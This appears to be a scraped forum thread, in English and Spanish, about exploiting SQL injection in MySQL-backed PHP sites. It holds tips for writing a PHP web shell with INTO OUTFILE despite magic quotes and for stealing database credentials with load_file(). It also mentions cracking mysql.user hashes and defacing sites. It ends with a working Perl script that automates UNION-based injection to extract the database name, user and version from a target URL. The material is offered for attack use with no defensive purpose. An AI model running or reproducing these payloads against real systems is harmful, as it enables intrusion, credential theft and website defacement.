INTO OUTFILE %/home/z.php% works, if "%" is the field delimiting character being used. Magic quotes totally fails in that scenario.

you can't use char() with into outfile cause there is no way to encrypt web root path.
correct. I heard some people saying it´s possible to bypass magic quotes using INTO OUTFILE but i couldn´t get closer information about this yet.

si tienes acceso al phpmyadmin, puedes hacer la consulta directa. un post de un tal jack.

You can also use the load_file() command to load a .php file. If a webpage uses a MySQL Server they have to write down the password to access the MySQL in the .php File. If you load the file you will be ale to get user and pass for MySQL Server. Then you can connect to the MySQL Server and can execute MySQL commands without getting f**ked by magic quotes. Then you can spwan a shell and deface wesite if you have a user with FILE rights.

but you could get other users and passwords with access to mysql.user to crack the hash. Very often there are seperate users with % Host, so you could connect from every where ;)

union+select+all+1,2,campo_que_no_existe,3+from+tabla.

mysql> USE db1;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db1.mytable
mysql> USE db2;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db2.mytable

use LWP::UserAgent; 

use HTTP::Request::Common;

#by OzX [NuKe/NB/UnderSecurity]
#DataExtract
#Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version.
$browser = LWP::UserAgent->new();

$browser->timeout(10);

$browser->default_header(

	"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",

	"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

	"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",

	"Referer" => "http://www.google.com"

);


use constant URL => $ARGV[0]; #Constante URL.

unless ($ARGV[0]) {
print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n";
print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n";
print "\n";
   exit 0;
}

($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5..
($db,$user,$version) = detalles_bd($sql_num);


print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";


#Funcion Que Obtiene la Informacion de la Base de Datos
sub detalles_bd{
$_[0] = sql_num($sql_num);
$vars = numero($sql_num);
$string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)';
$sql_num =~s/$vars/$string_datos_db/;
$url = $uri."+".$sql_num;
$source = GETS($url);
($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g;
return ($db,$user,$version);
}

#Funcion para Evitar Problemas XD¡.
sub sql_num{
$num_total = split(",",$_[0]);
for ($x=1;$x<=$num_total;$x++){
$sql_num_correcto = $sql_num_correcto."$x,";
}
chop($sql_num_correcto);
return $sql_num_correcto;
}

#Funcion para Obtener los Numeros De la Inyeccion Base
sub numero{
local $sql_num = $_[0];
$sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0.
for ($x=1;$x<=$sql_num;$x++){
$url_hex = $url_hex.hex_sql("USNB$x").",";
}
chop($url_hex); #Eliminamos la Ultima ,
$url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL
$source_url_hex = GETS($url_inject);#SOURCE 
( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES 
$vars =  @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$
return $vars;
}

#Funcion GETS
sub GETS{
return  $browser->request(GET $_[0])->content;
} 
#Funcion Hex_SQL
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}